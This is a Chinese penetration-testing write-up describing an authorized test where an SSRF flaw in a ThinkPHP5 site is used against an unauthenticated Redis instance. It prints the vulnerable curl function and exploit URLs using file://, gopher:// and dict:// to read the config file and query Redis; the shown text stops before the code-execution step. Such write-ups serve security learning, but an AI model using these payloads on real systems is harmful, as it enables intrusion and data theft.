一次“SSRF-->RCE”的艰难利用
乐清小俊杰@Pentes7eam
前言
一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有一处比较有意思的地方,抽象出来与大家分享。
发现SSRF
目标站点使用ThinkPHP5框架开发,互联网可直接下载源代码,通过代码审计发现一处SSRF漏洞,代码如下所示:
public function httpGet($url=""){
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_TIMEOUT, 8);
//curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
curl_setopt($curl, CURLOPT_URL, $url);
$res = curl_exec($curl);
curl_close($curl);
return $res;
}
利用SSRF漏洞读取ThinkPHP5配置文件:
http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php
如上图所示,目标业务系统采用Redis缓存数据,且密码为空。
利用gopher协议尝试获取info信息:
http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info
发现无回显,一段时间后500错误,疑似连接上后超时退出,原因不明。
尝试利用dict协议,成功获取Redis的info信息
http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info
点击收藏 | 3
关注 | 2